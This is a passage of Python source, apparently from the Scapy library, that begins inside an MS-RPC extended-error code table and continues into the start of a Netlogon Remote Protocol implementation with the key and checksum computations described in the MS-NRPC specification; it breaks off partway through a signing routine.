\"WSCheckForShutdowns30\",\n    273: \"WSCheckForShutdowns40\",\n    274: \"WSCheckForShutdowns50\",\n    280: \"WSSyncSend10\",\n    281: \"WSSyncSend20\",\n    282: \"WSSyncSend30\",\n    290: \"WSSyncRecv10\",\n    291: \"WSSyncRecv20\",\n    292: \"WSSyncRecv30\",\n    300: \"WSServerListenCommon10\",\n    301: \"WSServerListenCommon20\",\n    302: \"WSServerListenCommon30\",\n    310: \"WSOpen10\",\n    311: \"WSOpen20\",\n    312: \"WSOpen30\",\n    313: \"WSOpen40\",\n    314: \"WSOpen50\",\n    315: \"WSOpen60\",\n    316: \"WSOpen70\",\n    317: \"WSOpen80\",\n    318: \"WSOpen90\",\n    320: \"NextAddress10\",\n    321: \"NextAddress20\",\n    322: \"NextAddress30\",\n    323: \"NextAddress40\",\n    330: \"WSBind10\",\n    331: \"WSBind20\",\n    332: \"WSBind30\",\n    333: \"WSBind40\",\n    334: \"WSBind50\",\n    335: \"WSBind45\",\n    340: \"IPBuildAddressVector10\",\n    350: \"GetStatusForTimeout10\",\n    351: \"GetStatusForTimeout20\",\n    360: \"OSF_CCONNECTION__SendFragment10\",\n    361: \"OSF_CCONNECTION__SendFragment20\",\n    370: \"OSF_CCALL__ReceiveReply10\",\n    371: \"OSF_CCALL__ReceiveReply20\",\n    380: \"OSF_CCALL__FastSendReceive10\",\n    381: \"OSF_CCALL__FastSendReceive20\",\n    382: \"OSF_CCALL__FastSendReceive30\",\n    390: \"LRPC_BINDING_HANDLE__AllocateCCall10\",\n    391: \"LRPC_BINDING_HANDLE__AllocateCCall20\",\n    400: \"LRPC_ADDRESS__ServerSetupAddress10\",\n    410: \"LRPC_ADDRESS__HandleInvalidAssociationReference10\",\n    420: \"InitializeAuthzSupportIfNecessary10\",\n    421: \"InitializeAuthzSupportIfNecessary20\",\n    430: \"CreateDummyResourceManagerIfNecessary10\",\n    431: \"CreateDummyResourceManagerIfNecessary20\",\n    440: \"LRPC_SCALL__GetAuthorizationContext10\",\n    441: \"LRPC_SCALL__GetAuthorizationContext20\",\n    442: \"LRPC_SCALL__GetAuthorizationContext30\",\n    450: \"SCALL__DuplicateAuthzContext10\",\n    460: \"SCALL__CreateAndSaveAuthzContextFromToken10\",\n    470: \"SECURITY_CONTEXT__GetAccessToken10\",\n    471: \"SECURITY_CONTEXT__GetAccessToken20\",\n    480: \"OSF_SCALL__GetAuthorizationContext10\",\n    500: \"EpResolveEndpoint10\",\n    501: \"EpResolveEndpoint20\",\n    510: \"OSF_SCALL__GetBuffer10\",\n    520: \"LRPC_SCALL__ImpersonateClient10\",\n    530: \"SetMaximumLengths10\",\n    540: \"LRPC_CASSOCIATION__ActuallyDoBinding10\",\n    541: \"LRPC_CASSOCIATION__ActuallyDoBinding20\",\n    542: \"LRPC_CASSOCIATION__ActuallyDoBinding30\",\n    543: \"LRPC_CASSOCIATION__ActuallyDoBinding40\",\n    550: \"LRPC_CASSOCIATION__CreateBackConnection10\",\n    551: \"LRPC_CASSOCIATION__CreateBackConnection20\",\n    552: \"LRPC_CASSOCIATION__CreateBackConnection30\",\n    560: \"LRPC_CASSOCIATION__OpenLpcPort10\",\n    561: \"LRPC_CASSOCIATION__OpenLpcPort20\",\n    562: \"LRPC_CASSOCIATION__OpenLpcPort30\",\n    563: \"LRPC_CASSOCIATION__OpenLpcPort40\",\n    570: \"RegisterEntries10\",\n    571: \"RegisterEntries20\",\n    580: \"NDRSContextUnmarshall2_10\",\n    581: \"NDRSContextUnmarshall2_20\",\n    582: \"NDRSContextUnmarshall2_30\",\n    583: \"NDRSContextUnmarshall2_40\",\n    584: \"NDRSContextUnmarshall2_50\",\n    590: \"NDRSContextMarshall2_10\",\n    600: \"WinsockDatagramSend10\",\n    601: \"WinsockDatagramSend20\",\n    610: \"WinsockDatagramReceive10\",\n    620: \"WinsockDatagramSubmitReceive10\",\n    630: \"DG_CCALL__CancelAsyncCall10\",\n    640: \"DG_CCALL__DealWithTimeout10\",\n    641: \"DG_CCALL__DealWithTimeout20\",\n    642: \"DG_CCALL__DealWithTimeout30\",\n    650: \"DG_CCALL__DispatchPacket10\",\n    660: \"DG_CCALL__ReceiveSinglePacket10\",\n    661: \"DG_CCALL__ReceiveSinglePacket20\",\n    662: \"DG_CCALL__ReceiveSinglePacket30\",\n    670: \"WinsockDatagramResolve10\",\n    680: \"WinsockDatagramCreate10\",\n    690: \"TCP_QueryLocalAddress10\",\n    691: \"TCP_QueryLocalAddress20\",\n    700: \"OSF_CASSOCIATION__ProcessBindAckOrNak10\",\n    701: \"OSF_CASSOCIATION__ProcessBindAckOrNak20\",\n    710: \"MatchMsPrincipalName10\",\n    720: \"CompareRdnElement10\",\n    730: \"MatchFullPathPrincipalName10\",\n    731: \"MatchFullPathPrincipalName20\",\n    732: \"MatchFullPathPrincipalName30\",\n    733: \"MatchFullPathPrincipalName40\",\n    734: \"MatchFullPathPrincipalName50\",\n    740: \"RpcCertGeneratePrincipalName10\",\n    741: \"RpcCertGeneratePrincipalName20\",\n    742: \"RpcCertGeneratePrincipalName30\",\n    750: \"RpcCertVerifyContext10\",\n    751: \"RpcCertVerifyContext20\",\n    752: \"RpcCertVerifyContext30\",\n    753: \"RpcCertVerifyContext40\",\n    761: \"OSF_BINDING_HANDLE__NegotiateTransferSyntax10\",\n    # END OF DOC\n    # below is reverse engineered\n    770: \"RpcpErrorAddRecord\",\n    780: \"RpcpLookupAccountSid\",\n    800: \"OSF_SCONNECTION__AcceptFirstTime\",\n    810: \"OSF_SCONNECTION__AcceptThirdLeg\",\n    820: \"OSF_BINDING_HANDLE__AcquireTokenForTransport\",\n    821: \"OSF_BINDING_HANDLE__AcquireCredentialsForTokenIfNecessary\",\n    835: \"LRPC_CASSOCIATION__CompleteBind\",\n    840: \"LRPC_BASE_BINDING_HANDLE__BaseBindingCopy\",\n    860: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    861: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    862: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    864: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    865: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    867: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    868: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    869: \"LRPC_BASE_BINDING_HANDLE__SetAuthInformation\",\n    880: \"LRPC_BASE_BINDING_HANDLE__ResolveEndpoint\",\n    881: \"LRPC_BASE_BINDING_HANDLE__ResolveEndpoint\",\n    882: \"LRPC_BASE_BINDING_HANDLE__ResolveEndpoint\",\n    883: \"LRPC_BASE_BINDING_HANDLE__ResolveEndpoint\",\n    900: \"LRPC_BASE_BINDING_HANDLE__SubmitResolveEndpointRequest\",\n    910: \"LRPC_BASE_BINDING_HANDLE__NormalizeServerSid\",\n    912: \"LRPC_BASE_BINDING_HANDLE__NormalizeServerSid\",\n    913: \"LRPC_BASE_BINDING_HANDLE__NormalizeServerSid\",\n    920: \"LRPC_BASE_BINDING_HANDLE__DriveStateForward\",\n    921: \"LRPC_BASE_BINDING_HANDLE__DriveStateForward\",\n    930: \"LRPC_BINDING_HANDLE__PrepareBindingHandle\",\n    931: \"LRPC_BINDING_HANDLE__PrepareBindingHandle\",\n    946: \"?0LRPC_FAST_BINDING_HANDLE\",\n    950: \"LRPC_BASE_CCALL__AsyncReceive\",\n    960: \"LRPC_BINDING_HANDLE__NegotiateTransferSyntax\",\n    972: \"LRPC_BASE_CCALL__UnpackResponse\",\n    974: \"LRPC_BASE_CCALL__UnpackResponse\",\n    978: \"LRPC_BASE_CCALL__UnpackResponse\",\n    980: \"LRPC_BASE_CCALL__HandleReply\",\n    990: \"LRPC_BASE_CCALL__HandleReply\",\n    1000: \"LRPC_BASE_CCALL__AlpcSend\",\n    1010: \"LRPC_BASE_CCALL__DoSendReceive\",\n    1020: \"LRPC_BASE_CCALL__GetBuffer\",\n    1030: \"LRPC_BASE_CCALL__DoAsyncSend\",\n    1040: \"LRPC_BIND_CCALL__NotifyBHStateChange\",\n    1050: \"LRPC_BIND_CCALL__AttemptRetry\",\n    1060: \"CLIENT_IO_PROVIDER__SyncWait\",\n    1070: \"CLIENT_IO_PROVIDER__Register\",\n    1100: \"AlpcAllocateSectionAndView\",\n    1120: \"CaptureThreadToken\",\n    1140: \"RpcpDuplicateTokenEx\",\n    1150: \"GetMachineAccountSidWorker\",\n    1160: \"LRPC_BASE_BINDING_HANDLE__DriveStateForward\",\n    1170: \"LPC_NORMALIZED_SID__IterateAndVerify\",\n    1100: \"AlpcAllocateSectionAndView\",\n    1120: \"CaptureThreadToken\",\n    1140: \"RpcpDuplicateTokenEx\",\n    1150: \"GetMachineAccountSidWorker\",\n    1160: \"LRPC_BASE_BINDING_HANDLE__DriveStateForward\",\n    1170: \"LPC_NORMALIZED_SID__IterateAndVerify\",\n    1171: \"LPC_NORMALIZED_SID__IterateAndVerify\",\n    1180: \"LRPC_SASSOCIATION__GetClientName\",\n    1190: \"LRPC_SASSOCIATION__AddBinding\",\n    1200: \"AlpcAllocateView\",\n    1210: \"LRPC_SASSOCIATION__ImpersonateClient\",\n    1215: \"LRPC_SASSOCIATION__ImpersonateClientContainer\",\n    1230: \"LRPC_SCALL__SaveClientToken\",\n    1232: \"LRPC_SCALL__SaveClientToken\",\n    1240: \"LRPC_SCONTEXT__GetUserNameW\",\n    1260: \"LRPC_SCONTEXT__LookupUser\",\n    1270: \"LRPC_BINDING_HANDLE__NegotiateTransferSyntax\",\n    1280: \"LRPC_SCALL__SendReceive\",\n    1290: \"LRPC_CCALL__HandleCallbackSequence\",\n    1300: \"LRPC_SCALL__QueueOrDispatchCall\",\n    1310: \"LRPC_ADDRESS__GetCurrentModifiedId\",\n    1320: \"RPC_INTERFACE__DoSecurityCallbackHelper\",\n    1321: \"RPC_INTERFACE__DoSecurityCallbackHelper\",\n    1322: \"RPC_INTERFACE__DoSecurityCallbackHelper\",\n    1324: \"RPC_INTERFACE__EnforceInterfaceSecurityDescriptor\",\n    1325: \"RPC_INTERFACE__EnforceInterfaceSecurityDescriptor\",\n    1326: \"RPC_INTERFACE__EnforceInterfaceSecurityDescriptor\",\n    1330: \"SCALL__CompleteAsyncSecurityCallback\",\n    1340: \"LRPC_BASE_CCALL__ReallocPipeBuffer\",\n    1360: \"LRPC_ADDRESS__GetClientSid\",\n    1440: \"RpcpErrorAddRecord\",\n    1441: \"RpcpErrorAddRecord\",\n    1442: \"TCPOrHTTP_Open\",\n    1450: \"I_RpcRecordCalloutFailure\",\n    1451: \"RpcpErrorAddRecord\",\n    1452: \"I_RpcRecordCalloutFailure\",\n    1460: \"OSF_CCONNECTION__SendBindPacket\",\n    1461: \"OSF_CCONNECTION__SendBindPacket\",\n    1462: \"OSF_CCONNECTION__SendBindPacket\",\n    1463: \"OSF_CCONNECTION__SendBindPacket\",\n    1464: \"OSF_CCONNECTION__SendBindPacket\",\n    1465: \"OSF_CCONNECTION__SendBindPacket\",\n    1466: \"OSF_CCONNECTION__SendBindPacket\",\n    1467: \"OSF_CCONNECTION__SendBindPacket\",\n    1468: \"OSF_CCONNECTION__SendBindPacket\",\n    1469: \"OSF_CCONNECTION__SendBindPacket\",\n    1471: \"LRPC_BASE_CCALL__HandlePipeChunk\",\n    1474: \"LRPC_BASE_CCALL__HandlePipeChunk\",\n    1480: \"LRPC_CASSOCIATION__AlpcCreateReservedMessage\",\n    1491: \"LRPC_CASSOCIATION__AskForReservedMessage\",\n    1492: \"LRPC_CASSOCIATION__AskForReservedMessage\",\n    1500: \"LRPC_BASE_CCALL__CancelAsyncCall\",\n    1502: \"LRPC_BASE_CCALL__HandlePipeFault\",\n    1510: \"LRPC_BASE_CCALL__HandlePipePull\",\n    1520: \"LRPC_SCALL__NotifyAssociationClosePending\",\n    1530: \"LRPC_SCALL__AbortAsyncCall\",\n    1540: \"BindToEpMapper\",\n    1550: \"LRPC_BASE_CCALL__Send\",\n    1560: \"LRPC_BASE_CCALL__Receive\",\n    1570: \"LRPC_SASSOCIATION__NotifyAllActiveCalls\",\n    1580: \"LRPC_SASSOCIATION__CleanupSparsePipes\",\n    1590: \"LRPC_CCALL__CallbackSendReceive\",\n    1600: \"LRPC_CALLBACK__SendReceiveLoop\",\n    1601: \"LRPC_CALLBACK__SendReceiveLoop\",\n    1602: \"LRPC_CALLBACK__SendReceiveLoop\",\n    1610: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1611: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1612: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1613: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1614: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1616: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1617: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1619: \"OSF_SCALL__DoSecurityCallbackAndAccessCheck\",\n    1641: \"LRPC_SCAUSAL_FLOW__MaybeQueueCall\",\n    1642: \"LRPC_SCAUSAL_FLOW__MaybeQueueCall\",\n    1650: \"LRPC_FAST_BIND_CCALL__ActualCancelCall\",\n    1660: \"LRPC_FAST_BINDING_HANDLE__Bind\",\n    1670: \"LRPC_CAUSAL_FLOW__SendNextCalls\",\n    1700: \"CO_ConnectionThreadPoolCallback\",\n    1701: \"CO_ConnectionThreadPoolCallback\",\n    1704: \"CO_AddressThreadPoolCallback\",\n    1705: \"CO_AddressThreadPoolCallback\",\n    1710: \"OSF_CCONNECTION__ConnectionAborted\",\n    1720: \"OSF_CCONNECTION__ProcessReceiveComplete\",\n    1730: \"OSF_CCONNECTION__ProcessSendComplete\",\n    1740: \"OSF_BINDING_HANDLE__AllocateCCall\",\n    1741: \"OSF_BINDING_HANDLE__AllocateCCall\",\n    1750: \"ProcessFaultPacket\",\n    3050: \"OSF_CCONNECTION__AddCall\",\n    3080: \"SECURITY_CONTEXT__GetWireIdForSnego\",\n    3081: \"SECURITY_CONTEXT__GetWireIdForSnego\",\n    4000: \"OSF_SCALL__FwFilter\",\n    4001: \"OSF_SCALL__FwFilter\",\n    4002: \"OSF_SCALL__FwFilter\",\n    4020: \"LRPC_SCALL__ReallocPipeBuffer\",\n    4030: \"LRPC_BASE_CCALL__HandleCancelMessage\",\n    4040: \"LRPC_SCAUSAL_FLOW__RecordGapInFlow\",\n    4060: \"NMP_BuildDefaultDaclForPipe\",\n    4061: \"NMP_BuildDefaultDaclForPipe\",\n    4070: \"NMP_SetSecurity\",\n    4072: \"NMP_SetSecurity\",\n    4073: \"NMP_BuildDefaultDaclForPipe\",\n    4077: \"NMP_SetSecurity\",\n    4078: \"NMP_SetSecurity\",\n    4200: \"WS_ClientBind\",\n    4210: \"OSF_SCALL__ProcessReceivedPDU\",\n    4222: \"OSF_SCALL__EatAuthInfoFromPacket\",\n    4230: \"RpcpConvertToLongRunning\",\n    4240: \"LRPC_BASE_BINDING_HANDLE__EnableAsyncIfNecessary\",\n    4253: \"LRPC_SYSTEM_HANDLE_DATA__AddSystemHandle\",\n    4256: \"LRPC_SYSTEM_HANDLE_DATA__GetSystemHandle\",\n    4257: \"LRPC_SYSTEM_HANDLE_DATA__GetSystemHandle\",\n    4272: \"RpcpSystemHandleTypeSpecificWork\",\n    4273: \"RpcpSystemHandleTypeSpecificWork\",\n    4274: \"RpcpSystemHandleTypeSpecificWork\",\n    4291: \"HVSOCKET_SetSocketOptions\",\n}\n\n\nclass DceRpc5ExtendedErrorInfo(Packet):\n    fields_desc = [\n        NDRSerializeType1PacketField(\n            \"extended_error\",\n            ExtendedErrorInfo(),\n            ExtendedErrorInfo,\n            ptr_pack=True,\n        )\n    ]\n\n    def show(self) -> None:\n        \"\"\"\n        Print stacktrace\n        \"\"\"\n        # Get a list of ErrorInfo\n        cur = self.extended_error\n        errors = [cur]\n        while cur and cur.Next:\n            cur = cur.Next.value\n            errors.append(cur)\n        # Concatenate the ErrorInfos\n        timefld = UTCTimeField(\n            \"\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n            strf=\"%d/%m/%Y %H:%M:%S.%f\",\n        )\n        print(\"# Extended Error Information\")\n        for err in errors:\n            print(\"PID:\", err.ProcessID, \"-\", timefld.i2repr(None, err.TimeStamp))\n            if err.ComputerName.Type == EEComputerNamePresent.eecnpPresent:\n                print(\n                    \" | ComputerName:\",\n                    err.ComputerName.value.value.valueof(\"pString\").decode(\"utf-16le\"),\n                )\n            print(\n                \" | Generating Component:\",\n                EERR_GENERATING_COMPONENT.get(\n                    err.GeneratingComponent, err.GeneratingComponent\n                ),\n            )\n            print(\" | Status:\", STATUS_ERREF.get(err.Status, err.Status))\n            print(\n                \" | DetectionLocation:\",\n                EERR_DETECTION_LOCATIONS.get(\n                    err.DetectionLocation, err.DetectionLocation\n                ),\n            )\n            print(\" | Flags\", EERR_FLAGS.get(err.Flags, err.Flags))\n            print(\n                \" | Params: \",\n                repr([(x.sprintf(\"%Type%\"), x.value.value) for x in err.Params]),\n            )\n\n\n# Bind to fault PDU\nbind_layers(DceRpc5Fault, DceRpc5ExtendedErrorInfo, reserved=1)\n\n# Bind to nak PDU\nbind_layers(\n    DceRpc5BindNak,\n    DceRpc5ExtendedErrorInfo,\n    signature=uuid.UUID(\"90740320-fad0-11d3-82d7-009027b130ab\"),\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/msnrpc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n[MS-NRPC] Netlogon Remote Protocol\n\nhttps://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f\n\"\"\"\n\nimport enum\nimport os\nimport struct\nimport time\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.fields import FlagValue, FlagsField\nfrom scapy.layers.dcerpc import (\n    find_dcerpc_interface,\n    DCE_C_AUTHN_LEVEL,\n    NL_AUTH_MESSAGE,\n    NL_AUTH_SIGNATURE,\n)\nfrom scapy.layers.kerberos import KerberosSSP, _parse_upn\nfrom scapy.layers.gssapi import (\n    GSS_C_FLAGS,\n    GSS_C_NO_CHANNEL_BINDINGS,\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_S_FAILURE,\n    GSS_S_FLAGS,\n    SSP,\n)\nfrom scapy.layers.ntlm import RC4, RC4K, RC4Init, MD4le\n\nfrom scapy.layers.msrpce.rpcclient import (\n    DCERPC_Client,\n    DCERPC_Transport,\n)\nfrom scapy.layers.windows.erref import STATUS_ERREF\nfrom scapy.layers.msrpce.raw.ms_nrpc import (\n    NetrServerAuthenticate3_Request,\n    NetrServerAuthenticate3_Response,\n    NetrServerAuthenticateKerberos_Request,\n    NetrServerAuthenticateKerberos_Response,\n    NetrServerReqChallenge_Request,\n    NetrServerReqChallenge_Response,\n    NETLOGON_SECURE_CHANNEL_TYPE,\n    PNETLOGON_AUTHENTICATOR,\n    PNETLOGON_CREDENTIAL,\n)\n\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives import hashes, hmac\n    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n    from scapy.libs.rfc3961 import DES\n\n    try:\n        # cryptography > 47.0\n        from cryptography.hazmat.decrepit.ciphers.modes import CFB8\n    except ImportError:\n        from cryptography.hazmat.primitives.ciphers.modes import CFB8\nelse:\n    hashes = hmac = Cipher = algorithms = modes = DES = CFB8 = None\n\n\n# Typing imports\nfrom typing import (\n    Optional,\n)\n\n# --- RFC\n\n# [MS-NRPC] sect 3.1.4.2\n_negotiateFlags = {\n    # Not used. MUST be ignored on receipt.\n    0x00000001: \"A\",\n    # B: BDCs persistently try to update their database to the PDC's\n    # version after they get a notification indicating that their\n    # database is out-of-date.\n    0x00000002: \"BDCContinuousUpdate\",\n    # C: Supports RC4 encryption.\n    0x00000004: \"RC4\",\n    # Not used. MUST be ignored on receipt.\n    0x00000008: \"D\",\n    # E: Supports BDCs handling CHANGELOGs.\n    0x00000010: \"BDCChangelog\",\n    # F: Supports restarting of full synchronization between DCs.\n    0x00000020: \"RestartingDCSync\",\n    # G: Does not require ValidationLevel 2 fornongeneric passthrough.\n    0x00000040: \"NoValidationLevel2\",\n    # H: Supports the NetrDatabaseRedo (Opnum 17) functionality\n    0x00000080: \"DatabaseRedo\",\n    # I: Supports refusal of password changes.\n    0x00000100: \"RefusalPasswordChange\",\n    # J: Supports the NetrLogonSendToSam (Opnum 32) functionality.\n    0x00000200: \"SendToSam\",\n    # K: Supports generic pass-through authentication.\n    0x00000400: \"Generic-passthrough\",\n    # L: Supports concurrent RPC calls.\n    0x00000800: \"ConcurrentRPC\",\n    # M: Supports avoiding of user account database replication.\n    0x00001000: \"AvoidRepliAccountDB\",\n    # N: Supports avoiding of Security Authority database replication.\n    0x00002000: \"AvoidRepliAuthorityDB\",\n    # O: Supports strong keys.\n    0x00004000: \"StrongKeys\",\n    # P: Supports transitive trusts.\n    0x00008000: \"TransitiveTrust\",\n    # Not used. MUST be ignored on receipt.\n    0x00010000: \"Q\",\n    # R: Supports the NetrServerPasswordSet2 functionality.\n    0x00020000: \"ServerPasswordSet2\",\n    # S: Supports the NetrLogonGetDomainInfo functionality.\n    0x00040000: \"GetDomainInfo\",\n    # T: Supports cross-forest trusts.\n    0x00080000: \"CrossForestTrust\",\n    # U: The server ignores the NT4Emulator ADM element.\n    0x00100000: \"NoNT4Emul\",\n    # V: Supports RODC pass-through to different domains.\n    0x00200000: \"RODC-passthrough\",\n    # W: Supports Advanced Encryption Standard (AES) encryption and SHA2 hashing.\n    0x01000000: \"AES\",\n    # Not used. MUST be ignored on receipt.\n    0x20000000: \"X\",\n    # Y: Supports Secure RPC.\n    0x40000000: \"SecureRPC\",\n    # Supports Kerberos as the security support provider for secure channel setup.\n    0x80000000: \"Kerberos\",\n}\n_negotiateFlags = FlagsField(\"\", 0, -32, _negotiateFlags).names\n\n# -- CRYPTO\n\n\n# [MS-NRPC] sect 3.1.4.3.1\n@crypto_validator\ndef ComputeSessionKeyAES(HashNt, ClientChallenge, ServerChallenge):\n    M4SS = HashNt\n    h = hmac.HMAC(M4SS, hashes.SHA256())\n    h.update(ClientChallenge)\n    h.update(ServerChallenge)\n    return h.finalize()[:16]\n\n\n# [MS-NRPC] sect 3.1.4.3.2\n@crypto_validator\ndef ComputeSessionKeyStrongKey(HashNt, ClientChallenge, ServerChallenge):\n    M4SS = HashNt\n    digest = hashes.Hash(hashes.MD5())\n    digest.update(b\"\\x00\\x00\\x00\\x00\")\n    digest.update(ClientChallenge)\n    digest.update(ServerChallenge)\n    h = hmac.HMAC(M4SS, hashes.MD5())\n    h.update(digest.finalize())\n    return h.finalize()\n\n\n# [MS-NRPC] sect 3.1.4.4.1\n@crypto_validator\ndef ComputeNetlogonCredentialAES(Input, Sk):\n    cipher = Cipher(algorithms.AES(Sk), mode=CFB8(b\"\\x00\" * 16))\n    encryptor = cipher.encryptor()\n    return encryptor.update(Input)\n\n\n# [MS-NRPC] sect 3.1.4.4.2\ndef InitLMKey(KeyIn):\n    KeyOut = bytearray(b\"\\x00\" * 8)\n    KeyOut[0] = KeyIn[0] >> 0x01\n    KeyOut[1] = ((KeyIn[0] & 0x01) << 6) | (KeyIn[1] >> 2)\n    KeyOut[2] = ((KeyIn[1] & 0x03) << 5) | (KeyIn[2] >> 3)\n    KeyOut[3] = ((KeyIn[2] & 0x07) << 4) | (KeyIn[3] >> 4)\n    KeyOut[4] = ((KeyIn[3] & 0x0F) << 3) | (KeyIn[4] >> 5)\n    KeyOut[5] = ((KeyIn[4] & 0x1F) << 2) | (KeyIn[5] >> 6)\n    KeyOut[6] = ((KeyIn[5] & 0x3F) << 1) | (KeyIn[6] >> 7)\n    KeyOut[7] = KeyIn[6] & 0x7F\n    for i in range(8):\n        KeyOut[i] = (KeyOut[i] << 1) & 0xFE\n    return KeyOut\n\n\n@crypto_validator\ndef ComputeNetlogonCredentialDES(Input, Sk):\n    k3 = InitLMKey(Sk[0:7])\n    k4 = InitLMKey(Sk[7:14])\n    output1 = Cipher(DES(k3), modes.ECB()).encryptor().update(Input)\n    return Cipher(DES(k4), modes.ECB()).encryptor().update(output1)\n\n\n# [MS-NRPC] sect 3.1.4.5\ndef _credentialAddition(cred, i):\n    return (\n        struct.pack(\n            \"<I\",\n            (i + struct.unpack(\"<I\", cred[:4])[0]) & 0xFFFFFFFF,\n        )\n        + cred[4:]\n    )\n\n\n# [MS-NRPC] sect 3.3.4.2.1\n\n\ndef ComputeCopySeqNumber(ClientSequenceNumber, client):\n    low = struct.pack(\">L\", ClientSequenceNumber & 0xFFFFFFFF)\n    high = struct.pack(\n        \">L\",\n        ((ClientSequenceNumber >> 32) & 0xFFFFFFFF) | (0x80000000 if client else 0),\n    )\n    return low + high\n\n\n@crypto_validator\ndef ComputeNetlogonChecksumAES(nl_auth_sig, message, SessionKey, Confounder=None):\n    h = hmac.HMAC(SessionKey, hashes.SHA256())\n    h.update(nl_auth_sig[:8])\n    if Confounder:\n        h.update(Confounder)\n    h.update(message)\n    return h.finalize()\n\n\n@crypto_validator\ndef ComputeNetlogonChecksumMD5(nl_auth_sig, message, SessionKey, Confounder=None):\n    digest = hashes.Hash(hashes.MD5())\n    digest.update(b\"\\x00\\x00\\x00\\x00\")\n    digest.update(nl_auth_sig[:8])\n    if Confounder:\n        digest.update(Confounder)\n    digest.update(message)\n    h = hmac.HMAC(SessionKey, hashes.MD5())\n    h.update(digest.finalize())\n    return h.finalize()\n\n\n@crypto_validator\ndef ComputeNetlogonSealingKeyAES(SessionKey):\n    return bytes(bytearray((x ^ 0xF0) for x in bytearray(SessionKey)))\n\n\n@crypto_validator\ndef ComputeNetlogonSealingKeyRC4(SessionKey, CopySeqNumber):\n    XorKey = bytes(bytearray((x ^ 0xF0) for x in bytearray(SessionKey)))\n    h = hmac.HMAC(XorKey, hashes.MD5())\n    h.update(b\"\\x00\\x00\\x00\\x00\")\n    h = hmac.HMAC(h.finalize(), hashes.MD5())\n    h.update(CopySeqNumber)\n    return h.finalize()\n\n\n@crypto_validator\ndef ComputeNetlogonSequenceNumberKeyMD5(SessionKey, Checksum):\n    h = hmac.HMAC(SessionKey, hashes.MD5())\n    h.update(b\"\\x00\\x00\\x00\\x00\")\n    h = hmac.HMAC(h.finalize(), hashes.MD5())\n    h.update(Checksum)\n    return h.finalize()\n\n\n# --- SSP\n\n\nclass NetlogonSSP(SSP):\n    auth_type = 0x44  # Netlogon\n\n    class STATE(SSP.STATE):\n        INIT = 1\n        CLI_SENT_NL = 2\n        SRV_SENT_NL = 3\n\n    class CONTEXT(SSP.CONTEXT):\n        __slots__ = [\n            \"ClientSequenceNumber\",\n            \"IsClient\",\n            \"AES\",\n        ]\n\n        def __init__(self, IsClient, req_flags=None, AES=True):\n            self.state = NetlogonSSP.STATE.INIT\n            self.IsClient = IsClient\n            self.ClientSequenceNumber = 0\n            self.AES = AES\n            super(NetlogonSSP.CONTEXT, self).__init__(req_flags=req_flags)\n\n    def __init__(self, SessionKey, computername, domainname, AES=True, **kwargs):\n        self.SessionKey = SessionKey\n        self.AES = AES\n        self.computername = computername\n        self.domainname = domainname\n        super(NetlogonSSP, self).__init__(**kwargs)\n\n    def GSS_Inquire_names_for_mech(self):\n        raise NotImplementedError(\"Netlogon cannot be used with SPNEGO !\")\n\n    def _secure(self, Context, msgs, Seal):\n        \"\"\"\n        Internal function used by GSS_WrapEx and GSS_GetMICEx\n\n        [MS-NRPC] 3.3.4.2.1\n        \"\"\"\n        # Concatenate the ToSign\n        ToSign = b\"\".join(x.data for x in msgs if x.sign)\n\n        Confounder = None\n        if Seal:\n            Confounder = os.urandom(8)\n\n        if Context.AES:\n            # 1. If AES is negotiated\n            signature = NL_AUTH_SIGNATURE(\n                SignatureAlgorithm=0x0013,\n                SealAlgorithm=0x001A if Seal else 0xFFFF,\n            )\n        else:\n            # 2. If AES is not negotiated\n            signature = NL_AUTH_SIGNATURE(\n                SignatureAlgorithm=0x0077,\n                SealAlgorithm=0x007A if Seal else 0xFFFF,\n            )\n        # 3. Pad filled with 0xff (OK)\n        # 4. Flags with 0x00 (OK)\n        # 5. SequenceNumber\n        SequenceNumber = ComputeCopySeqNumber(\n            Context.ClientSequenceNumber, Context.IsClient\n        )\n        # 6. The ClientSequenceNumber MUST be incremented by 1\n        Context.ClientSequenceNumber += 1\n        # 7. Signature\n        if Context.AES:\n            signature.Checksum = ComputeNetlogonChecksumAES(\n                bytes(signature), ToSign, self.SessionKey, Confounder\n            )[:8]\n        else:\n            signature.Checksum = ComputeNetlogonChecksumMD5(\n                bytes(signature), ToSign, self.SessionKey, Confounder\n            )[:8]\n        # 8. If the Confidentiality option is requested, the Confounder field and\n        # the data MUST be encrypted\n        if Seal:\n            if Context.AES:\n                EncryptionKey = ComputeNetlogonSealingKeyAES(self.SessionKey)\n            else:\n                EncryptionKey = ComputeNetlogonSealingKeyRC4(\n                    self.SessionKey, SequenceNumber\n                )\n            # Encrypt Confounder and data\n            if Context.AES:\n                IV = SequenceNumber * 2\n                encryptor = Cipher(\n                    algorithms.AES(EncryptionKey), mode=CFB8(IV)\n                ).encryptor()\n                # Confounder\n                signature.Confounder = encryptor.update(Confounder)\n                # data\n                for msg in msgs:\n                    if msg.conf_req_flag:\n                        msg.data = encryptor.update(msg.data)\n            else:\n                handle = RC4Init(EncryptionKey)\n                # Confounder\n                signature.Confounder = RC4(handle, Confounder)\n                # DOC IS 